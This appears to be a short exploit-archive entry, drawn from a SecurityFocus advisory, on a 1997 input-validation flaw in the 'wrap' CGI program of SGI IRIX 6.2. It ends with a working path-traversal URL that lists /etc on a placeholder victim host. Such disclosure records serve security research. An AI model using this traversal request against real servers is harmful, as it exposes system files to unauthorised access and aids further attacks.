SGI IRIX 6.2 cgi-bin wrap Vulnerability

Wietse Venema 19.04.1997 Verified
Remote Exploits Multiple

Exploit Code

source: http://www.securityfocus.com/bid/373/info


A vulnerability exists in the cgi-bin program 'wrap', as included with Irix 6.2 from SGI. A failure to validate input results in a vulnerability that allows any remote attacker to view the contents of any world readable directory remotely. This can be used to gain information that may be helpful in carrying out other attacks. 

http://sgi.victim/cgi-bin/wrap?/../../../../../etc